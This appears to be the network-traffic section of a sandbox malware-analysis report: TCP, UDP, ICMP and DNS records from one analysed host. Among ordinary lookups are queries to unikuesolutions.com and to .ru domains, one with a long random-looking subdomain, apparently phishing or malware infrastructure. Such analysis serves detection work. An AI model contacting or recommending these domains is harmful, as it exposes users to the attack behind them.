Jan 11, 2025 01:13:46.306515932 CET	443	49812	152.199.21.175	192.168.2.16
Jan 11, 2025 01:13:46.306538105 CET	49812	443	192.168.2.16	152.199.21.175
Jan 11, 2025 01:13:46.357959986 CET	49812	443	192.168.2.16	152.199.21.175
Jan 11, 2025 01:13:46.608338118 CET	443	49812	152.199.21.175	192.168.2.16
Jan 11, 2025 01:13:46.608355045 CET	443	49812	152.199.21.175	192.168.2.16
Jan 11, 2025 01:13:46.608392000 CET	443	49812	152.199.21.175	192.168.2.16
Jan 11, 2025 01:13:46.608402014 CET	443	49812	152.199.21.175	192.168.2.16
Jan 11, 2025 01:13:46.608436108 CET	49812	443	192.168.2.16	152.199.21.175
Jan 11, 2025 01:13:46.608474970 CET	443	49812	152.199.21.175	192.168.2.16
Jan 11, 2025 01:13:46.608489990 CET	443	49812	152.199.21.175	192.168.2.16
Jan 11, 2025 01:13:46.608508110 CET	49812	443	192.168.2.16	152.199.21.175
Jan 11, 2025 01:13:46.608513117 CET	443	49812	152.199.21.175	192.168.2.16
Jan 11, 2025 01:13:46.608525991 CET	443	49812	152.199.21.175	192.168.2.16
Jan 11, 2025 01:13:46.608541012 CET	49812	443	192.168.2.16	152.199.21.175
Jan 11, 2025 01:13:46.608547926 CET	443	49812	152.199.21.175	192.168.2.16
Jan 11, 2025 01:13:46.608563900 CET	443	49812	152.199.21.175	192.168.2.16
Jan 11, 2025 01:13:46.608568907 CET	49812	443	192.168.2.16	152.199.21.175
Jan 11, 2025 01:13:46.608603001 CET	49812	443	192.168.2.16	152.199.21.175
Jan 11, 2025 01:13:46.608622074 CET	49812	443	192.168.2.16	152.199.21.175
Jan 11, 2025 01:13:46.613897085 CET	443	49812	152.199.21.175	192.168.2.16
Jan 11, 2025 01:13:46.613919020 CET	443	49812	152.199.21.175	192.168.2.16
Jan 11, 2025 01:13:46.613964081 CET	49812	443	192.168.2.16	152.199.21.175
Jan 11, 2025 01:13:46.613972902 CET	443	49812	152.199.21.175	192.168.2.16
Jan 11, 2025 01:13:46.613992929 CET	49812	443	192.168.2.16	152.199.21.175
Jan 11, 2025 01:13:46.614913940 CET	443	49812	152.199.21.175	192.168.2.16
Jan 11, 2025 01:13:46.614933968 CET	443	49812	152.199.21.175	192.168.2.16
Jan 11, 2025 01:13:46.614972115 CET	49812	443	192.168.2.16	152.199.21.175
Jan 11, 2025 01:13:46.614979982 CET	443	49812	152.199.21.175	192.168.2.16
Jan 11, 2025 01:13:46.615004063 CET	49812	443	192.168.2.16	152.199.21.175
Jan 11, 2025 01:13:46.615662098 CET	443	49812	152.199.21.175	192.168.2.16
Jan 11, 2025 01:13:46.615696907 CET	443	49812	152.199.21.175	192.168.2.16
Jan 11, 2025 01:13:46.615711927 CET	49812	443	192.168.2.16	152.199.21.175
Jan 11, 2025 01:13:46.615720034 CET	443	49812	152.199.21.175	192.168.2.16
Jan 11, 2025 01:13:46.615752935 CET	443	49812	152.199.21.175	192.168.2.16
Jan 11, 2025 01:13:46.615755081 CET	49812	443	192.168.2.16	152.199.21.175
Jan 11, 2025 01:13:46.615794897 CET	49812	443	192.168.2.16	152.199.21.175
Jan 11, 2025 01:13:46.616179943 CET	49812	443	192.168.2.16	152.199.21.175
Jan 11, 2025 01:13:46.616198063 CET	443	49812	152.199.21.175	192.168.2.16
Jan 11, 2025 01:13:46.664331913 CET	49816	443	192.168.2.16	34.107.199.61
Jan 11, 2025 01:13:46.664380074 CET	443	49816	34.107.199.61	192.168.2.16
Jan 11, 2025 01:13:46.664441109 CET	49816	443	192.168.2.16	34.107.199.61
Jan 11, 2025 01:13:46.664697886 CET	49816	443	192.168.2.16	34.107.199.61
Jan 11, 2025 01:13:46.664719105 CET	443	49816	34.107.199.61	192.168.2.16
Jan 11, 2025 01:13:46.682673931 CET	49817	443	192.168.2.16	35.190.10.96
Jan 11, 2025 01:13:46.682728052 CET	443	49817	35.190.10.96	192.168.2.16
Jan 11, 2025 01:13:46.682792902 CET	49817	443	192.168.2.16	35.190.10.96
Jan 11, 2025 01:13:46.683140993 CET	49817	443	192.168.2.16	35.190.10.96
Jan 11, 2025 01:13:46.683156967 CET	443	49817	35.190.10.96	192.168.2.16
Jan 11, 2025 01:13:47.170496941 CET	443	49817	35.190.10.96	192.168.2.16
Jan 11, 2025 01:13:47.170814991 CET	49817	443	192.168.2.16	35.190.10.96
Jan 11, 2025 01:13:47.170846939 CET	443	49817	35.190.10.96	192.168.2.16
Jan 11, 2025 01:13:47.171992064 CET	443	49817	35.190.10.96	192.168.2.16
Jan 11, 2025 01:13:47.172065020 CET	49817	443	192.168.2.16	35.190.10.96
Jan 11, 2025 01:13:47.173017979 CET	49817	443	192.168.2.16	35.190.10.96
Jan 11, 2025 01:13:47.173088074 CET	443	49817	35.190.10.96	192.168.2.16
Jan 11, 2025 01:13:47.173168898 CET	49817	443	192.168.2.16	35.190.10.96
Jan 11, 2025 01:13:47.173178911 CET	443	49817	35.190.10.96	192.168.2.16
Jan 11, 2025 01:13:47.225940943 CET	49817	443	192.168.2.16	35.190.10.96
Jan 11, 2025 01:13:47.254632950 CET	443	49816	34.107.199.61	192.168.2.16
Jan 11, 2025 01:13:47.256654024 CET	49816	443	192.168.2.16	34.107.199.61
Jan 11, 2025 01:13:47.256671906 CET	443	49816	34.107.199.61	192.168.2.16
Jan 11, 2025 01:13:47.257724047 CET	443	49816	34.107.199.61	192.168.2.16
Jan 11, 2025 01:13:47.257792950 CET	49816	443	192.168.2.16	34.107.199.61
Jan 11, 2025 01:13:47.259227991 CET	49816	443	192.168.2.16	34.107.199.61
Jan 11, 2025 01:13:47.259295940 CET	443	49816	34.107.199.61	192.168.2.16
Jan 11, 2025 01:13:47.259443045 CET	49816	443	192.168.2.16	34.107.199.61
Jan 11, 2025 01:13:47.259452105 CET	443	49816	34.107.199.61	192.168.2.16
Jan 11, 2025 01:13:47.304960012 CET	49816	443	192.168.2.16	34.107.199.61
Jan 11, 2025 01:13:47.347760916 CET	443	49817	35.190.10.96	192.168.2.16
Jan 11, 2025 01:13:47.347860098 CET	443	49817	35.190.10.96	192.168.2.16
Jan 11, 2025 01:13:47.348483086 CET	49817	443	192.168.2.16	35.190.10.96
Jan 11, 2025 01:13:47.348618984 CET	49817	443	192.168.2.16	35.190.10.96
Jan 11, 2025 01:13:47.348639965 CET	443	49817	35.190.10.96	192.168.2.16
Jan 11, 2025 01:13:47.360896111 CET	49818	443	192.168.2.16	35.190.10.96
Jan 11, 2025 01:13:47.360940933 CET	443	49818	35.190.10.96	192.168.2.16
Jan 11, 2025 01:13:47.361017942 CET	49818	443	192.168.2.16	35.190.10.96
Jan 11, 2025 01:13:47.361280918 CET	49818	443	192.168.2.16	35.190.10.96
Jan 11, 2025 01:13:47.361291885 CET	443	49818	35.190.10.96	192.168.2.16
Jan 11, 2025 01:13:47.365720034 CET	443	49816	34.107.199.61	192.168.2.16
Jan 11, 2025 01:13:47.365813017 CET	443	49816	34.107.199.61	192.168.2.16
Jan 11, 2025 01:13:47.366309881 CET	49816	443	192.168.2.16	34.107.199.61
Jan 11, 2025 01:13:47.366592884 CET	49816	443	192.168.2.16	34.107.199.61
Jan 11, 2025 01:13:47.366611958 CET	443	49816	34.107.199.61	192.168.2.16
Jan 11, 2025 01:13:47.381654024 CET	49819	443	192.168.2.16	34.107.199.61
Jan 11, 2025 01:13:47.381704092 CET	443	49819	34.107.199.61	192.168.2.16
Jan 11, 2025 01:13:47.381815910 CET	49819	443	192.168.2.16	34.107.199.61
Jan 11, 2025 01:13:47.382143021 CET	49819	443	192.168.2.16	34.107.199.61
Jan 11, 2025 01:13:47.382163048 CET	443	49819	34.107.199.61	192.168.2.16
Jan 11, 2025 01:13:47.766078949 CET	49820	443	192.168.2.16	172.217.18.4
Jan 11, 2025 01:13:47.766122103 CET	443	49820	172.217.18.4	192.168.2.16
Jan 11, 2025 01:13:47.766191006 CET	49820	443	192.168.2.16	172.217.18.4
Jan 11, 2025 01:13:47.766427994 CET	49820	443	192.168.2.16	172.217.18.4
Jan 11, 2025 01:13:47.766442060 CET	443	49820	172.217.18.4	192.168.2.16
Jan 11, 2025 01:13:47.844166040 CET	443	49818	35.190.10.96	192.168.2.16
Jan 11, 2025 01:13:47.844475031 CET	49818	443	192.168.2.16	35.190.10.96
Jan 11, 2025 01:13:47.844504118 CET	443	49818	35.190.10.96	192.168.2.16
Jan 11, 2025 01:13:47.845541954 CET	443	49818	35.190.10.96	192.168.2.16
Jan 11, 2025 01:13:47.845614910 CET	49818	443	192.168.2.16	35.190.10.96
Jan 11, 2025 01:13:47.845915079 CET	49818	443	192.168.2.16	35.190.10.96
Jan 11, 2025 01:13:47.845977068 CET	443	49818	35.190.10.96	192.168.2.16
Jan 11, 2025 01:13:47.846061945 CET	49818	443	192.168.2.16	35.190.10.96
Jan 11, 2025 01:13:47.846067905 CET	443	49818	35.190.10.96	192.168.2.16
Jan 11, 2025 01:13:47.891948938 CET	49818	443	192.168.2.16	35.190.10.96
Jan 11, 2025 01:13:47.945755959 CET	443	49819	34.107.199.61	192.168.2.16
Jan 11, 2025 01:13:47.946033955 CET	49819	443	192.168.2.16	34.107.199.61
Jan 11, 2025 01:13:47.946064949 CET	443	49819	34.107.199.61	192.168.2.16
Jan 11, 2025 01:13:47.947160006 CET	443	49819	34.107.199.61	192.168.2.16
Jan 11, 2025 01:13:47.947226048 CET	49819	443	192.168.2.16	34.107.199.61
Jan 11, 2025 01:13:47.947665930 CET	49819	443	192.168.2.16	34.107.199.61
Jan 11, 2025 01:13:47.947731972 CET	443	49819	34.107.199.61	192.168.2.16
Jan 11, 2025 01:13:47.948076963 CET	49819	443	192.168.2.16	34.107.199.61
Jan 11, 2025 01:13:47.948084116 CET	443	49819	34.107.199.61	192.168.2.16
Jan 11, 2025 01:13:47.983679056 CET	443	49818	35.190.10.96	192.168.2.16
Jan 11, 2025 01:13:47.983890057 CET	443	49818	35.190.10.96	192.168.2.16
Jan 11, 2025 01:13:47.984013081 CET	49818	443	192.168.2.16	35.190.10.96
Jan 11, 2025 01:13:47.984435081 CET	49818	443	192.168.2.16	35.190.10.96
Jan 11, 2025 01:13:47.984455109 CET	443	49818	35.190.10.96	192.168.2.16
Jan 11, 2025 01:13:48.002907038 CET	49819	443	192.168.2.16	34.107.199.61
Jan 11, 2025 01:13:48.050210953 CET	443	49819	34.107.199.61	192.168.2.16
Jan 11, 2025 01:13:48.050307989 CET	443	49819	34.107.199.61	192.168.2.16
Jan 11, 2025 01:13:48.050451040 CET	49819	443	192.168.2.16	34.107.199.61
Jan 11, 2025 01:13:48.050940037 CET	49819	443	192.168.2.16	34.107.199.61
Jan 11, 2025 01:13:48.050957918 CET	443	49819	34.107.199.61	192.168.2.16
Jan 11, 2025 01:13:48.071270943 CET	49821	443	192.168.2.16	35.190.10.96
Jan 11, 2025 01:13:48.071321011 CET	443	49821	35.190.10.96	192.168.2.16
Jan 11, 2025 01:13:48.071487904 CET	49821	443	192.168.2.16	35.190.10.96
Jan 11, 2025 01:13:48.071758986 CET	49821	443	192.168.2.16	35.190.10.96
Jan 11, 2025 01:13:48.071773052 CET	443	49821	35.190.10.96	192.168.2.16
Jan 11, 2025 01:13:48.418848991 CET	443	49820	172.217.18.4	192.168.2.16
Jan 11, 2025 01:13:48.419200897 CET	49820	443	192.168.2.16	172.217.18.4
Jan 11, 2025 01:13:48.419217110 CET	443	49820	172.217.18.4	192.168.2.16
Jan 11, 2025 01:13:48.419588089 CET	443	49820	172.217.18.4	192.168.2.16
Jan 11, 2025 01:13:48.419887066 CET	49820	443	192.168.2.16	172.217.18.4
Jan 11, 2025 01:13:48.419954062 CET	443	49820	172.217.18.4	192.168.2.16
Jan 11, 2025 01:13:48.459964991 CET	49820	443	192.168.2.16	172.217.18.4
Jan 11, 2025 01:13:48.530694008 CET	443	49821	35.190.10.96	192.168.2.16
Jan 11, 2025 01:13:48.531061888 CET	49821	443	192.168.2.16	35.190.10.96
Jan 11, 2025 01:13:48.531089067 CET	443	49821	35.190.10.96	192.168.2.16
Jan 11, 2025 01:13:48.531507015 CET	443	49821	35.190.10.96	192.168.2.16
Jan 11, 2025 01:13:48.531815052 CET	49821	443	192.168.2.16	35.190.10.96
Jan 11, 2025 01:13:48.531881094 CET	443	49821	35.190.10.96	192.168.2.16
Jan 11, 2025 01:13:48.531948090 CET	49821	443	192.168.2.16	35.190.10.96
Jan 11, 2025 01:13:48.532011986 CET	49821	443	192.168.2.16	35.190.10.96
Jan 11, 2025 01:13:48.532037973 CET	443	49821	35.190.10.96	192.168.2.16
Jan 11, 2025 01:13:48.728756905 CET	443	49821	35.190.10.96	192.168.2.16
Jan 11, 2025 01:13:48.728894949 CET	443	49821	35.190.10.96	192.168.2.16
Jan 11, 2025 01:13:48.728981018 CET	49821	443	192.168.2.16	35.190.10.96
Jan 11, 2025 01:13:48.730243921 CET	49821	443	192.168.2.16	35.190.10.96
Jan 11, 2025 01:13:48.730271101 CET	443	49821	35.190.10.96	192.168.2.16
Jan 11, 2025 01:13:48.733490944 CET	49822	443	192.168.2.16	35.190.10.96
Jan 11, 2025 01:13:48.733547926 CET	443	49822	35.190.10.96	192.168.2.16
Jan 11, 2025 01:13:48.734497070 CET	49822	443	192.168.2.16	35.190.10.96
Jan 11, 2025 01:13:48.734731913 CET	49822	443	192.168.2.16	35.190.10.96
Jan 11, 2025 01:13:48.734746933 CET	443	49822	35.190.10.96	192.168.2.16
Jan 11, 2025 01:13:49.198470116 CET	443	49822	35.190.10.96	192.168.2.16
Jan 11, 2025 01:13:49.198827028 CET	49822	443	192.168.2.16	35.190.10.96
Jan 11, 2025 01:13:49.198874950 CET	443	49822	35.190.10.96	192.168.2.16
Jan 11, 2025 01:13:49.199223042 CET	443	49822	35.190.10.96	192.168.2.16
Jan 11, 2025 01:13:49.199594975 CET	49822	443	192.168.2.16	35.190.10.96
Jan 11, 2025 01:13:49.199664116 CET	443	49822	35.190.10.96	192.168.2.16
Jan 11, 2025 01:13:49.199739933 CET	49822	443	192.168.2.16	35.190.10.96
Jan 11, 2025 01:13:49.247329950 CET	443	49822	35.190.10.96	192.168.2.16
Jan 11, 2025 01:13:49.333283901 CET	443	49822	35.190.10.96	192.168.2.16
Jan 11, 2025 01:13:49.333394051 CET	443	49822	35.190.10.96	192.168.2.16
Jan 11, 2025 01:13:49.333446980 CET	49822	443	192.168.2.16	35.190.10.96
Jan 11, 2025 01:13:49.334101915 CET	49822	443	192.168.2.16	35.190.10.96
Jan 11, 2025 01:13:49.334127903 CET	443	49822	35.190.10.96	192.168.2.16

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 01:11:42.806895018 CET	53	64070	1.1.1.1	192.168.2.16
Jan 11, 2025 01:11:42.885039091 CET	53	58089	1.1.1.1	192.168.2.16
Jan 11, 2025 01:11:43.962055922 CET	53	60433	1.1.1.1	192.168.2.16
Jan 11, 2025 01:11:44.102159023 CET	56528	53	192.168.2.16	1.1.1.1
Jan 11, 2025 01:11:44.103343010 CET	52047	53	192.168.2.16	1.1.1.1
Jan 11, 2025 01:11:44.114964008 CET	53	52047	1.1.1.1	192.168.2.16
Jan 11, 2025 01:11:44.160453081 CET	53	56528	1.1.1.1	192.168.2.16
Jan 11, 2025 01:11:44.836455107 CET	58341	53	192.168.2.16	1.1.1.1
Jan 11, 2025 01:11:44.836594105 CET	60596	53	192.168.2.16	1.1.1.1
Jan 11, 2025 01:11:44.932925940 CET	53	60596	1.1.1.1	192.168.2.16
Jan 11, 2025 01:11:44.968653917 CET	53	58341	1.1.1.1	192.168.2.16
Jan 11, 2025 01:11:46.736757040 CET	55733	53	192.168.2.16	1.1.1.1
Jan 11, 2025 01:11:46.736928940 CET	59987	53	192.168.2.16	1.1.1.1
Jan 11, 2025 01:11:46.737219095 CET	53853	53	192.168.2.16	1.1.1.1
Jan 11, 2025 01:11:46.737354040 CET	64605	53	192.168.2.16	1.1.1.1
Jan 11, 2025 01:11:46.737864971 CET	61506	53	192.168.2.16	1.1.1.1
Jan 11, 2025 01:11:46.738009930 CET	52309	53	192.168.2.16	1.1.1.1
Jan 11, 2025 01:11:46.744803905 CET	53	55733	1.1.1.1	192.168.2.16
Jan 11, 2025 01:11:46.744816065 CET	53	59987	1.1.1.1	192.168.2.16
Jan 11, 2025 01:11:46.744923115 CET	53	64605	1.1.1.1	192.168.2.16
Jan 11, 2025 01:11:46.744932890 CET	53	53853	1.1.1.1	192.168.2.16
Jan 11, 2025 01:11:46.745126009 CET	53	61506	1.1.1.1	192.168.2.16
Jan 11, 2025 01:11:46.745136976 CET	53	52309	1.1.1.1	192.168.2.16
Jan 11, 2025 01:11:47.491719961 CET	63347	53	192.168.2.16	1.1.1.1
Jan 11, 2025 01:11:47.491904020 CET	50145	53	192.168.2.16	1.1.1.1
Jan 11, 2025 01:11:47.498589993 CET	53	63347	1.1.1.1	192.168.2.16
Jan 11, 2025 01:11:47.498820066 CET	53	50145	1.1.1.1	192.168.2.16
Jan 11, 2025 01:11:47.511429071 CET	59747	53	192.168.2.16	1.1.1.1
Jan 11, 2025 01:11:47.511641026 CET	50364	53	192.168.2.16	1.1.1.1
Jan 11, 2025 01:11:47.518412113 CET	53	59747	1.1.1.1	192.168.2.16
Jan 11, 2025 01:11:47.518755913 CET	53	50364	1.1.1.1	192.168.2.16
Jan 11, 2025 01:11:47.652054071 CET	50696	53	192.168.2.16	1.1.1.1
Jan 11, 2025 01:11:47.652194023 CET	49300	53	192.168.2.16	1.1.1.1
Jan 11, 2025 01:11:47.658654928 CET	53	50696	1.1.1.1	192.168.2.16
Jan 11, 2025 01:11:47.658889055 CET	53	49300	1.1.1.1	192.168.2.16
Jan 11, 2025 01:11:48.053864956 CET	54956	53	192.168.2.16	1.1.1.1
Jan 11, 2025 01:11:48.054116011 CET	60953	53	192.168.2.16	1.1.1.1
Jan 11, 2025 01:11:48.060591936 CET	53	54956	1.1.1.1	192.168.2.16
Jan 11, 2025 01:11:48.061013937 CET	53	60953	1.1.1.1	192.168.2.16
Jan 11, 2025 01:11:48.068794966 CET	58783	53	192.168.2.16	1.1.1.1
Jan 11, 2025 01:11:48.068965912 CET	65305	53	192.168.2.16	1.1.1.1
Jan 11, 2025 01:11:48.075409889 CET	53	58783	1.1.1.1	192.168.2.16
Jan 11, 2025 01:11:48.075871944 CET	53	65305	1.1.1.1	192.168.2.16
Jan 11, 2025 01:11:49.748881102 CET	63485	53	192.168.2.16	1.1.1.1
Jan 11, 2025 01:11:49.749033928 CET	52043	53	192.168.2.16	1.1.1.1
Jan 11, 2025 01:11:49.755691051 CET	53	63485	1.1.1.1	192.168.2.16
Jan 11, 2025 01:11:49.755740881 CET	53	52043	1.1.1.1	192.168.2.16
Jan 11, 2025 01:12:00.981163025 CET	53	59493	1.1.1.1	192.168.2.16
Jan 11, 2025 01:12:19.736157894 CET	53	61371	1.1.1.1	192.168.2.16
Jan 11, 2025 01:12:41.825794935 CET	138	138	192.168.2.16	192.168.2.255
Jan 11, 2025 01:12:42.034544945 CET	53	62351	1.1.1.1	192.168.2.16
Jan 11, 2025 01:12:42.801609993 CET	53	49538	1.1.1.1	192.168.2.16
Jan 11, 2025 01:12:47.046969891 CET	65372	53	192.168.2.16	1.1.1.1
Jan 11, 2025 01:12:47.047130108 CET	52923	53	192.168.2.16	1.1.1.1
Jan 11, 2025 01:12:47.143903017 CET	53	65372	1.1.1.1	192.168.2.16
Jan 11, 2025 01:12:47.232532024 CET	53	52923	1.1.1.1	192.168.2.16
Jan 11, 2025 01:12:48.206516981 CET	60987	53	192.168.2.16	1.1.1.1
Jan 11, 2025 01:12:48.206516981 CET	62830	53	192.168.2.16	1.1.1.1
Jan 11, 2025 01:12:48.207031965 CET	58958	53	192.168.2.16	1.1.1.1
Jan 11, 2025 01:12:48.207031965 CET	62592	53	192.168.2.16	1.1.1.1
Jan 11, 2025 01:12:48.259524107 CET	53	62830	1.1.1.1	192.168.2.16
Jan 11, 2025 01:12:48.311248064 CET	53	60987	1.1.1.1	192.168.2.16
Jan 11, 2025 01:12:49.213948965 CET	56840	53	192.168.2.16	1.1.1.1
Jan 11, 2025 01:12:49.213948965 CET	58901	53	192.168.2.16	1.1.1.1
Jan 11, 2025 01:12:49.251267910 CET	53	58901	1.1.1.1	192.168.2.16
Jan 11, 2025 01:12:51.233737946 CET	62675	53	192.168.2.16	1.1.1.1
Jan 11, 2025 01:12:51.233907938 CET	58687	53	192.168.2.16	1.1.1.1
Jan 11, 2025 01:12:51.274862051 CET	53	58687	1.1.1.1	192.168.2.16
Jan 11, 2025 01:12:52.191418886 CET	64138	53	192.168.2.16	1.1.1.1
Jan 11, 2025 01:12:52.191673040 CET	64908	53	192.168.2.16	1.1.1.1
Jan 11, 2025 01:12:52.322664976 CET	63411	53	192.168.2.16	1.1.1.1
Jan 11, 2025 01:12:52.322664976 CET	61728	53	192.168.2.16	1.1.1.1
Jan 11, 2025 01:12:52.329242945 CET	53	63411	1.1.1.1	192.168.2.16
Jan 11, 2025 01:12:52.344558954 CET	53	61728	1.1.1.1	192.168.2.16
Jan 11, 2025 01:12:57.051774025 CET	53	49885	1.1.1.1	192.168.2.16
Jan 11, 2025 01:13:12.579413891 CET	53	59072	1.1.1.1	192.168.2.16
Jan 11, 2025 01:13:37.739737034 CET	52616	53	192.168.2.16	1.1.1.1
Jan 11, 2025 01:13:37.739866018 CET	60293	53	192.168.2.16	1.1.1.1
Jan 11, 2025 01:13:39.684533119 CET	51258	53	192.168.2.16	1.1.1.1
Jan 11, 2025 01:13:39.684740067 CET	50591	53	192.168.2.16	1.1.1.1
Jan 11, 2025 01:13:39.691318989 CET	53	51258	1.1.1.1	192.168.2.16
Jan 11, 2025 01:13:39.711354971 CET	53	50591	1.1.1.1	192.168.2.16
Jan 11, 2025 01:13:42.866532087 CET	53617	53	192.168.2.16	1.1.1.1
Jan 11, 2025 01:13:42.866708040 CET	61588	53	192.168.2.16	1.1.1.1
Jan 11, 2025 01:13:43.798192978 CET	54362	53	192.168.2.16	1.1.1.1
Jan 11, 2025 01:13:43.798388004 CET	52479	53	192.168.2.16	1.1.1.1
Jan 11, 2025 01:13:43.805496931 CET	53	54362	1.1.1.1	192.168.2.16
Jan 11, 2025 01:13:43.815327883 CET	53	52479	1.1.1.1	192.168.2.16
Jan 11, 2025 01:13:43.831345081 CET	62086	53	192.168.2.16	1.1.1.1
Jan 11, 2025 01:13:43.831466913 CET	55632	53	192.168.2.16	1.1.1.1
Jan 11, 2025 01:13:44.254590034 CET	50089	53	192.168.2.16	1.1.1.1
Jan 11, 2025 01:13:44.254787922 CET	65190	53	192.168.2.16	1.1.1.1
Jan 11, 2025 01:13:44.255173922 CET	54229	53	192.168.2.16	1.1.1.1
Jan 11, 2025 01:13:44.255310059 CET	62442	53	192.168.2.16	1.1.1.1
Jan 11, 2025 01:13:44.354284048 CET	53	49873	1.1.1.1	192.168.2.16
Jan 11, 2025 01:13:44.622546911 CET	58305	53	192.168.2.16	1.1.1.1
Jan 11, 2025 01:13:44.622896910 CET	53285	53	192.168.2.16	1.1.1.1
Jan 11, 2025 01:13:45.261113882 CET	50282	53	192.168.2.16	1.1.1.1
Jan 11, 2025 01:13:45.261554956 CET	63411	53	192.168.2.16	1.1.1.1
Jan 11, 2025 01:13:46.630059004 CET	54102	53	192.168.2.16	1.1.1.1
Jan 11, 2025 01:13:46.630239964 CET	65261	53	192.168.2.16	1.1.1.1
Jan 11, 2025 01:13:46.656249046 CET	56663	53	192.168.2.16	1.1.1.1
Jan 11, 2025 01:13:46.656528950 CET	49844	53	192.168.2.16	1.1.1.1
Jan 11, 2025 01:13:46.663183928 CET	53	56663	1.1.1.1	192.168.2.16
Jan 11, 2025 01:13:46.663882017 CET	53	49844	1.1.1.1	192.168.2.16
Jan 11, 2025 01:13:46.674521923 CET	63898	53	192.168.2.16	1.1.1.1
Jan 11, 2025 01:13:46.674710035 CET	62250	53	192.168.2.16	1.1.1.1
Jan 11, 2025 01:13:46.681665897 CET	53	62250	1.1.1.1	192.168.2.16
Jan 11, 2025 01:13:46.682058096 CET	53	63898	1.1.1.1	192.168.2.16
Jan 11, 2025 01:13:47.352718115 CET	57638	53	192.168.2.16	1.1.1.1
Jan 11, 2025 01:13:47.352924109 CET	64570	53	192.168.2.16	1.1.1.1
Jan 11, 2025 01:13:47.360035896 CET	53	64570	1.1.1.1	192.168.2.16
Jan 11, 2025 01:13:47.360055923 CET	53	57638	1.1.1.1	192.168.2.16
Jan 11, 2025 01:13:47.370206118 CET	54169	53	192.168.2.16	1.1.1.1
Jan 11, 2025 01:13:47.370460987 CET	64414	53	192.168.2.16	1.1.1.1
Jan 11, 2025 01:13:47.377696037 CET	53	54169	1.1.1.1	192.168.2.16
Jan 11, 2025 01:13:47.379352093 CET	53	64414	1.1.1.1	192.168.2.16

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Jan 11, 2025 01:12:47.232721090 CET	192.168.2.16	1.1.1.1	c2c0	(Port unreachable)	Destination Unreachable
Jan 11, 2025 01:12:49.251537085 CET	192.168.2.16	1.1.1.1	c277	(Port unreachable)	Destination Unreachable
Jan 11, 2025 01:12:51.275244951 CET	192.168.2.16	1.1.1.1	c277	(Port unreachable)	Destination Unreachable
Jan 11, 2025 01:12:52.344643116 CET	192.168.2.16	1.1.1.1	c271	(Port unreachable)	Destination Unreachable
Jan 11, 2025 01:13:39.711471081 CET	192.168.2.16	1.1.1.1	c273	(Port unreachable)	Destination Unreachable
Jan 11, 2025 01:13:42.897176981 CET	192.168.2.16	1.1.1.1	c2cd	(Port unreachable)	Destination Unreachable
Jan 11, 2025 01:13:43.850370884 CET	192.168.2.16	1.1.1.1	c2cd	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 01:11:44.102159023 CET	192.168.2.16	1.1.1.1	0x552	Standard query (0)	unikuesolutions.com	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:11:44.103343010 CET	192.168.2.16	1.1.1.1	0xbcaf	Standard query (0)	unikuesolutions.com	65	IN (0x0001)	false
Jan 11, 2025 01:11:44.836455107 CET	192.168.2.16	1.1.1.1	0x334d	Standard query (0)	bur.tabilicit.ru	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:11:44.836594105 CET	192.168.2.16	1.1.1.1	0x9399	Standard query (0)	bur.tabilicit.ru	65	IN (0x0001)	false
Jan 11, 2025 01:11:46.736757040 CET	192.168.2.16	1.1.1.1	0x914a	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:11:46.736928940 CET	192.168.2.16	1.1.1.1	0x9446	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Jan 11, 2025 01:11:46.737219095 CET	192.168.2.16	1.1.1.1	0x69a5	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:11:46.737354040 CET	192.168.2.16	1.1.1.1	0x8447	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Jan 11, 2025 01:11:46.737864971 CET	192.168.2.16	1.1.1.1	0xeaf7	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:11:46.738009930 CET	192.168.2.16	1.1.1.1	0x7fe0	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Jan 11, 2025 01:11:47.491719961 CET	192.168.2.16	1.1.1.1	0x6ef1	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:11:47.491904020 CET	192.168.2.16	1.1.1.1	0x286e	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Jan 11, 2025 01:11:47.511429071 CET	192.168.2.16	1.1.1.1	0x3452	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:11:47.511641026 CET	192.168.2.16	1.1.1.1	0x20dc	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Jan 11, 2025 01:11:47.652054071 CET	192.168.2.16	1.1.1.1	0xaeb5	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:11:47.652194023 CET	192.168.2.16	1.1.1.1	0xfadb	Standard query (0)	www.google.com	65	IN (0x0001)	false
Jan 11, 2025 01:11:48.053864956 CET	192.168.2.16	1.1.1.1	0xf541	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:11:48.054116011 CET	192.168.2.16	1.1.1.1	0xb19c	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Jan 11, 2025 01:11:48.068794966 CET	192.168.2.16	1.1.1.1	0xfc2a	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:11:48.068965912 CET	192.168.2.16	1.1.1.1	0xe7c3	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Jan 11, 2025 01:11:49.748881102 CET	192.168.2.16	1.1.1.1	0xf05a	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:11:49.749033928 CET	192.168.2.16	1.1.1.1	0xb22	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false
Jan 11, 2025 01:12:47.046969891 CET	192.168.2.16	1.1.1.1	0xc442	Standard query (0)	hsfwwhjaxkf3tk1j4piuntasocghl6oprwpy8ksuu5fw9tgqvjbpgv6tsppp.concivergo.ru	A (IP address)	IN (0x0001)	false
